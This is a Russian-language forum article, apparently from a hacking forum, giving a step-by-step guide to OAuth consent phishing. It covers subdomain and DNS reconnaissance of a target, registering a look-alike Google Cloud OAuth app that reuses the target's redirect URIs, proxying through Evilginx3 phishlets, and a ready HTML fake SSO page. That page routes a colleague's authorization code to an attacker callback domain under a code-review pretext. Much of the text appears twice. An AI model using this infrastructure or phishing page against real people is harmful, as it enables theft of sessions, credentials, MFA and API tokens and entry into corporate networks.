Содержание статьи:
OAuth атаки начинают доминировать над традиционными фишинг решениями с точки зрения кражи сессий+мфа/api токенов; и это только начало развитие вектора на мой взгляд
Почему?
Потому что OAuth выступает в роли эксплуатироемой функции, которая позволяет напрямую у таргета запрашивать разрешения и это часто в итоге не требует повышения привелегий при правильном подборе цели для доставки пейлоада.
Дополнительно к этому прибавляется возможности кражи аккаунтов даже с FIDO2 или MFA токенах на хард накопителях.
Тому доказательство -https://www.microsoft.com/en-us/security/blog/2023/12/12/threat-actors-misuse-oauth-applications-to-automate-financially-driven-attacks/
Посему я считаю что в арсенале каждого уважающего себя SE оператора должна уже быть сложившаяся картина хотя бы базового сетапа инфраструктуры, которая позволит уже хотя бы симуляцию данного вида атаки.
Разведка по цели; сбор параметров IdP + SaaS стека
На первом этапе работы с нашей целью надо определить IdP - Identity Provider нашей цели.
Так ты сможешь выжать больше профита из разведки по цели.
В данном кейсе нам интересны определённые DNS записи
Начнём с поиска субдоменов.
Прогоняем sublister в тихом режиме -
Bash:
Опыт подсказывает что лучше иметь несколько источников, чтобы собрать побольше таргетов для дальнейших действий.
Поэтому используем также сублистинг через
Bash:
В дополнение можно подключить amass или любые другие ваши тулзы.
Не забывем выделить уникальные в единый список наших целей -
Bash:
Заострять на этом внимание не будем, переходим к dns записям.
Записи нам позволят подобрать следы стека.
Часть может стать очевидной из названий в субдоменах например -
Берём каждый домен отдельно и прогоняем через dnsdumpster -
Хотя довольно часто хватает даже мейна для какой-то картины.
Ищем mx записи - выписываем
Далее собираем txt записи и так же получаем подтверждение зависимостей -
Дополнительно было бы не плохо собрать cname+srv записи, а для этого важно как раз пройти и по субдоменам.
Перейдём к индикаторам oauth и для этого будем использовать связку httpx для проверки живых хостов и DevTools чтобы вытянуть редайрект url’s
Bash:
Не обязательно что на главной странице есть какой-либо OAuth.
Поэтому предположим что мы видим в списке app.таргет.com и скорее всего там есть например Microsoft логин поэтому открывем браузер.
Далее нам нужны devtools(f12) и включить логирование во вкладке Network - Persist Logs для записи всех линков.
Заходим на целевую страницу где есть oauth Google, Azure и тп. И проходим разные юзер поведения
Sign in
Account creation
Затем экспортируем все логи в виде .har файла и открываем в notepad
Наша цель - найти такие параметры
redirect_uri= индикатор редайректа токена; куда он отправляется
client_id= важный индикатор приложения типа azure
response_type=
scope= тоже важно бы докопаться до такого в процессе использования, это показывает какой уровень доступа запрашивается приложением
login.microsoftonline.com
Для ленивых особ - http://www.softwareishard.com/har/viewer/
Если уж совсем дотошно докопаться - то через httpxможно ещё и все редайректы прогнать; зарезолвить dns; посмотреть статус хостов.
Для этого субдомены таргета мы собрали ещё в начле.
Следующим более продвинутым шагом рекомендую познакомиться с инструментом типа MicroBurst и его аналогами для энумирации скриптов IdP&SaaS.
Считаю что эта тема заслуживает отдельной статьи.
Сейчас нам хватает переходим к oauth app.
Создание своего OAuth приложения
Разберём пока как хотя бы создать само приложение.
Для статьи я взял Google cloud platform(GCP) из-за его простоты и потому что был disposal acc, но по аналогии это работает через Azure ad flow для майкрософт, но мне лень его регистрировать отдельно сейчас.
Первым шагом переходим на https://console.cloud.google.com и логинимся -
После того как попали в консоль у нас отображена возможность создания проекта -
Далее apply всех данных и ждём получения нотификации -
После его создания через меню консоли находи APIs & Services - Library
Здесь для нас открывается поле для раздолья, но учти что некоторые API платные или требуют верификации.
Находим различные подходящие для нас средства и подключаем их -
По секрету - тот же gmail api нам полезен.
Тепеь нам нужен сам OAuth consent.
Через меню консоли переходим в APIs & Services - OAuth consent screen
Заполняем первые данные
Support e-mail - адрес куда могут отправлять, а вы игнорировать жалобы.
Потом нам предлагается выбор между internal - для пользования внутри организации, либо external - для любого пользователя Google, но с ограничением по некоторым полиси.
Обязательно почитайте про полиси consent screen, так как некоторые запросы будут требовать дополнительной верификации.
В некоторых случаях вполне достаточно внести данные оригинала, но иногда запрашивается более строгая модерация.
Подбираем под кейс. Не забываем про лого, оформление и тп.
Заполняем оставшиеся данные и приступаем к созданию API oauth 2.0.
Через консоль проходим путь APIs & Services - Credentials - Create Credentials - OAuth client ID
Выбираем тип приложения, в нашем случае будет веб
Заполняем данные и подгружаем список redirect uri’s, которые мы получили предыдущим шагами при разведке оригинала.
Если что так же можно подгрузить в https/http формате вида http://таргет или localhost для тестов.
Обрати внимание, что название приложение будет видно пользователю.
Обязательно сохраните все Client ID и Client secret JSON файл, он дальше может вам пригодиться
В целом готов.
Уровень выше - кастомные юзер флоу вашего приложения на уровне веб бекенда.
Например выставление client_id, redirect_uri, scope, response_type=code, state параметров и в таком случае это выглядит масимально легетимно;
так как code параметр будет проходить через google auth и получать валидный post response с токеном от https://oauth2.googleapis.com/token с данными code, client_id, client_secret, redirect_uri, grant_type=authorization_code;
Получая в финале access_token и refresh_token.
Подробнее про эти трюки читаем в документации - https://developers.google.com/identity/protocols/oauth2/web-server
Evilginx3 2025 апгрейды; фишлеты в шаблонах
Evilginx прогрессирует, поэтому фишлеты auth шагают тоже в ногу со временем и можно найти такие различные под Office 365, Azure и другие, но предпочтение всё же всегда отдаётся кастомным фишлетам со своим флоу.
Смысл в том, чтобы Evilginx проксировал трафик между таргетом и официальным эндпоинтом Google Auth.
В случае с подобным инфраструктурным сетапом, используется такая логика флоу -
В нашем случае надо всего лишь указать при создания приложения не uri’s оригинала, а вашего домена настроенного в Evilginx с поднятым cf или другим cdn и фишлетом.
Как раз тут и пригодится json выгрузка ваших Client ID, Client Secret из консоли GCP.
Если эта статья соберёт много позитива - включу разбор evil’a в контент план.
Фишлеты для ваших сэндбокс тестов OAuth Office365&Microsoft тут -
https://github.com/rencora/evilginx3-phishlet-templates
HTML претекстинг и доставка пейоад имплементацией кнопки Google Auth
Итак мы получили готовый инструмент - oauth приложение; линк на него с траст доменом; инфра; таргет.
Осталось лишь отправить грамотно.
С т.з. SE:
Плюсы использования в нашей инфраструктуре .yaml Evilginx не только в захвате токенов, но и в кастомизации.
Можно создать sso логин пейдж компании, если вы его нашли в процессе разведки и поняли что он вяжется с гуглом.
В данном уже протестированном примере, мы просим у колеги проверить апдейт по коду и отправляем ему ссылку на наш заготовленный OAuth домен под видом sso логина.
Тогда это будет выглядеть как что-то подобное -
HTML:
В итоге мы получаем довольно разнообразную инфраструктуру для работы си методами.
Такая связка при правильных настройках и оформлении, становится ультимативным перехватчиком сессий; кредов; токенов; мфа и отправной точкой входа в корп сеть без какого-либо малвари переживаний о детектах и тп.
Развитие кастомных фишлетов и ревёрс процессов; api; возможностей реальных OAuth приложений и оф.документации - открывает множество новых векторов.
Пробуй, тестируй, желаю успха.
- Описание концепта OAuth attack и актуальность
- Разведка по цели; сбор параметров IdP + SaaS стека
- Создание своего OAuth приложения;
- Evilginx3 2025 апгрейды; фишлеты в шаблонах
- HTML претекстинг и доставка пейлоад имплементацией кнопки Google Auth
- Что получаем в итоге
OAuth атаки начинают доминировать над традиционными фишинг решениями с точки зрения кражи сессий+мфа/api токенов; и это только начало развитие вектора на мой взгляд
Почему?
Потому что OAuth выступает в роли эксплуатироемой функции, которая позволяет напрямую у таргета запрашивать разрешения и это часто в итоге не требует повышения привелегий при правильном подборе цели для доставки пейлоада.
Дополнительно к этому прибавляется возможности кражи аккаунтов даже с FIDO2 или MFA токенах на хард накопителях.
Тому доказательство -https://www.microsoft.com/en-us/security/blog/2023/12/12/threat-actors-misuse-oauth-applications-to-automate-financially-driven-attacks/
Посему я считаю что в арсенале каждого уважающего себя SE оператора должна уже быть сложившаяся картина хотя бы базового сетапа инфраструктуры, которая позволит уже хотя бы симуляцию данного вида атаки.
Разведка по цели; сбор параметров IdP + SaaS стека
На первом этапе работы с нашей целью надо определить IdP - Identity Provider нашей цели.
Так ты сможешь выжать больше профита из разведки по цели.
В данном кейсе нам интересны определённые DNS записи
Начнём с поиска субдоменов.
Прогоняем sublister в тихом режиме -
Bash:
Bash:
subfinder -silent -all -d таргет.com | sort -u > файл1.txtОпыт подсказывает что лучше иметь несколько источников, чтобы собрать побольше таргетов для дальнейших действий.
Поэтому используем также сублистинг через
Bash:
Bash:
assetfinder --subs-only таргет.com >> файл2.txtВ дополнение можно подключить amass или любые другие ваши тулзы.
Не забывем выделить уникальные в единый список наших целей -
Bash:
Bash:
cat файл1_sunfinder.txt файл2_assetfinder.txt файл3_amass.txt | sort -u > файл_уники.txtЗаострять на этом внимание не будем, переходим к dns записям.
Записи нам позволят подобрать следы стека.
Часть может стать очевидной из названий в субдоменах например -
Берём каждый домен отдельно и прогоняем через dnsdumpster -
Хотя довольно часто хватает даже мейна для какой-то картины.
Ищем mx записи - выписываем
Далее собираем txt записи и так же получаем подтверждение зависимостей -
Дополнительно было бы не плохо собрать cname+srv записи, а для этого важно как раз пройти и по субдоменам.
Перейдём к индикаторам oauth и для этого будем использовать связку httpx для проверки живых хостов и DevTools чтобы вытянуть редайрект url’s
Bash:
Bash:
~/go/bin/httpx -l файл_уники.txt -o файл_hosts.txtНе обязательно что на главной странице есть какой-либо OAuth.
Поэтому предположим что мы видим в списке app.таргет.com и скорее всего там есть например Microsoft логин поэтому открывем браузер.
Далее нам нужны devtools(f12) и включить логирование во вкладке Network - Persist Logs для записи всех линков.
Заходим на целевую страницу где есть oauth Google, Azure и тп. И проходим разные юзер поведения
Sign in
Account creation
Затем экспортируем все логи в виде .har файла и открываем в notepad
Наша цель - найти такие параметры
redirect_uri= индикатор редайректа токена; куда он отправляется
client_id= важный индикатор приложения типа azure
response_type=
scope= тоже важно бы докопаться до такого в процессе использования, это показывает какой уровень доступа запрашивается приложением
login.microsoftonline.com
Для ленивых особ - http://www.softwareishard.com/har/viewer/
Если уж совсем дотошно докопаться - то через httpxможно ещё и все редайректы прогнать; зарезолвить dns; посмотреть статус хостов.
можно попробовать достать неактивные домены, они часто не удаляются из списка даже внутри корп сервис листов.
Подобные возможные неактивы - подарок+прямой путь к абузу oauth -
login.таргет.com
auth.таргет.com
portal.таргет.com
accounts.таргет.com
app.таргет.com
Подобные возможные неактивы - подарок+прямой путь к абузу oauth -
login.таргет.com
auth.таргет.com
portal.таргет.com
accounts.таргет.com
app.таргет.com
Для этого субдомены таргета мы собрали ещё в начле.
Следующим более продвинутым шагом рекомендую познакомиться с инструментом типа MicroBurst и его аналогами для энумирации скриптов IdP&SaaS.
Считаю что эта тема заслуживает отдельной статьи.
Сейчас нам хватает переходим к oauth app.
Создание своего OAuth приложения
Разберём пока как хотя бы создать само приложение.
Для статьи я взял Google cloud platform(GCP) из-за его простоты и потому что был disposal acc, но по аналогии это работает через Azure ad flow для майкрософт, но мне лень его регистрировать отдельно сейчас.
Первым шагом переходим на https://console.cloud.google.com и логинимся -
После того как попали в консоль у нас отображена возможность создания проекта -
Далее apply всех данных и ждём получения нотификации -
После его создания через меню консоли находи APIs & Services - Library
Здесь для нас открывается поле для раздолья, но учти что некоторые API платные или требуют верификации.
Находим различные подходящие для нас средства и подключаем их -
По секрету - тот же gmail api нам полезен.
Тепеь нам нужен сам OAuth consent.
Через меню консоли переходим в APIs & Services - OAuth consent screen
Заполняем первые данные
Support e-mail - адрес куда могут отправлять, а вы игнорировать жалобы.
Потом нам предлагается выбор между internal - для пользования внутри организации, либо external - для любого пользователя Google, но с ограничением по некоторым полиси.
Обязательно почитайте про полиси consent screen, так как некоторые запросы будут требовать дополнительной верификации.
В некоторых случаях вполне достаточно внести данные оригинала, но иногда запрашивается более строгая модерация.
Подбираем под кейс. Не забываем про лого, оформление и тп.
Заполняем оставшиеся данные и приступаем к созданию API oauth 2.0.
Через консоль проходим путь APIs & Services - Credentials - Create Credentials - OAuth client ID
Выбираем тип приложения, в нашем случае будет веб
Заполняем данные и подгружаем список redirect uri’s, которые мы получили предыдущим шагами при разведке оригинала.
Если что так же можно подгрузить в https/http формате вида http://таргет или localhost для тестов.
Обрати внимание, что название приложение будет видно пользователю.
Обязательно сохраните все Client ID и Client secret JSON файл, он дальше может вам пригодиться
В целом готов.
Уровень выше - кастомные юзер флоу вашего приложения на уровне веб бекенда.
Например выставление client_id, redirect_uri, scope, response_type=code, state параметров и в таком случае это выглядит масимально легетимно;
так как code параметр будет проходить через google auth и получать валидный post response с токеном от https://oauth2.googleapis.com/token с данными code, client_id, client_secret, redirect_uri, grant_type=authorization_code;
Получая в финале access_token и refresh_token.
Подробнее про эти трюки читаем в документации - https://developers.google.com/identity/protocols/oauth2/web-server
Evilginx3 2025 апгрейды; фишлеты в шаблонах
Evilginx прогрессирует, поэтому фишлеты auth шагают тоже в ногу со временем и можно найти такие различные под Office 365, Azure и другие, но предпочтение всё же всегда отдаётся кастомным фишлетам со своим флоу.
Смысл в том, чтобы Evilginx проксировал трафик между таргетом и официальным эндпоинтом Google Auth.
В случае с подобным инфраструктурным сетапом, используется такая логика флоу -
В нашем случае надо всего лишь указать при создания приложения не uri’s оригинала, а вашего домена настроенного в Evilginx с поднятым cf или другим cdn и фишлетом.
Как раз тут и пригодится json выгрузка ваших Client ID, Client Secret из консоли GCP.
Если эта статья соберёт много позитива - включу разбор evil’a в контент план.
Фишлеты для ваших сэндбокс тестов OAuth Office365&Microsoft тут -
https://github.com/rencora/evilginx3-phishlet-templates
GitHub - simplerhacking/Evilginx3-Phishlets: This repository provides penetration testers and red teams with an extensive collection of dynamic phishing templates designed specifically for use with Evilginx3. May be updated periodically.
This repository provides penetration testers and red teams with an extensive collection of dynamic phishing templates designed specifically for use with Evilginx3. May be updated periodically. - si...
github.com
Искал для вас репозиторий с google но тщетно.
Скидывай потом примеры своих фишей в комментарии - посмотрим насколько реалистично получилось.HTML претекстинг и доставка пейоад имплементацией кнопки Google Auth
Итак мы получили готовый инструмент - oauth приложение; линк на него с траст доменом; инфра; таргет.
Осталось лишь отправить грамотно.
С т.з. SE:
Плюсы использования в нашей инфраструктуре .yaml Evilginx не только в захвате токенов, но и в кастомизации.
Можно создать sso логин пейдж компании, если вы его нашли в процессе разведки и поняли что он вяжется с гуглом.
В данном уже протестированном примере, мы просим у колеги проверить апдейт по коду и отправляем ему ссылку на наш заготовленный OAuth домен под видом sso логина.
Тогда это будет выглядеть как что-то подобное -
HTML:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>SSO Login – Dev Code Updates</title>
<style>
body { font-family: Arial, sans-serif; background: #f4f4f9; text-align: center; padding: 50px; }
.container { background: white; padding: 40px; border-radius: 12px; max-width: 400px; margin: auto; box-shadow: 0 4px 12px rgba(0,0,0,0.1); }
h2 { color: #333; }
p { color: #666; }
.btn { background: #4285F4; color: white; border: none; padding: 12px 20px; border-radius: 6px; cursor: pointer; font-size: 16px; }
.btn:hover { background: #357ae8; }
.logo { width: 120px; margin-bottom: 20px; }
</style>
</head>
<body>
<div class="container">
<img src="https://www.gstatic.com/images/branding/product/1x/googleg_64dp.png" alt="Google Logo" class="logo">
<h2>SSO Login</h2>
<p>Authenticate with your corporate Google account to review the latest code updates.</p>
<a href="https://accounts.google.com/o/oauth2/v2/auth?
client_id=ID_ИЗ_GCP(client_id).apps.googleusercontent.com
&redirect_uri=https://твойдомен.com/oauth/callback
&response_type=code
&scope=openid%20email%20profile
&state=devupdates">
<button class="btn">Sign in with Google</button>
</a>
</div>
</body>
</html>Что получаем в итоге
В итоге мы получаем довольно разнообразную инфраструктуру для работы си методами.
Такая связка при правильных настройках и оформлении, становится ультимативным перехватчиком сессий; кредов; токенов; мфа и отправной точкой входа в корп сеть без какого-либо малвари переживаний о детектах и тп.
Развитие кастомных фишлетов и ревёрс процессов; api; возможностей реальных OAuth приложений и оф.документации - открывает множество новых векторов.
Пробуй, тестируй, желаю успха.
Последнее редактирование модератором: